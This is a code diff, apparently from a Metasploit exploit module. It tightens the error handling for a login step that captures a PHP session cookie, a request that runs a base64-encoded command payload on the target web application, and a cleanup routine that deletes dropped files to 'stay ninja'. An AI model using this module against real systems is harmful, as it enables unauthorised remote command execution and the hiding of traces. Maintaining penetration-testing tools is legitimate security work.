@@ -67,7 +67,7 @@ def on_new_session(client)
67
67
client . fs . file . rm ( f )
68
68
print_good ( "#{ peer } - #{ f } removed to stay ninja" )
69
69
rescue
70
- print_error ( "#{ peer } - Unable to remove #{ f } " )
70
+ print_warning ( "#{ peer } - Unable to remove #{ f } " )
71
71
end
72
72
end
73
73
end
@@ -95,16 +95,16 @@ def exploit
95
95
'data' => data
96
96
} )
97
97
98
- if res . nil? or res . headers [ 'Location' ] =~ /action=Login/ or res . get_cookies . empty?
99
- print_error ( "#{ peer } - Login failed with \" #{ username } :#{ password } \" " )
100
- return
98
+ if res . nil? || res . headers [ 'Location' ] . include? ( 'action=Login' ) || res . get_cookies . empty?
99
+ fail_with ( Failure ::NoAccess , "#{ peer } - Login failed with \" #{ username } :#{ password } \" " )
101
100
end
102
101
103
102
if res . get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
104
103
session_id = $1
104
+ elsif res . get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/
105
+ session_id = $1
105
106
else
106
- print_error ( "#{ peer } - Login failed with \" #{ username } :#{ password } \" (No session ID)" )
107
- return
107
+ fail_with ( Failure ::NoAccess , "#{ peer } - Login failed with \" #{ username } :#{ password } \" (No session ID)" )
108
108
end
109
109
110
110
print_status ( "#{ peer } - Login successful with #{ username } :#{ password } " )
@@ -128,9 +128,8 @@ def exploit
128
128
'data' => data
129
129
} )
130
130
131
- if not res or res . code != 200
132
- print_error ( "#{ peer } - Exploit failed: #{ res . code } " )
133
- return
131
+ unless res && res . code == 200
132
+ fail_with ( Failure ::Unknown , "#{ peer } - Exploit failed: #{ res . code } " )
134
133
end
135
134
136
135
print_status ( "#{ peer } - Executing the payload" )
@@ -143,11 +142,6 @@ def exploit
143
142
'Cmd' => Rex ::Text . encode_base64 ( payload . encoded )
144
143
}
145
144
} )
146
-
147
- if res
148
- print_error ( "#{ peer } - Payload execution failed: #{ res . code } " )
149
- return
150
- end
151
-
152
145
end
153
146
end
147
+
0 commit comments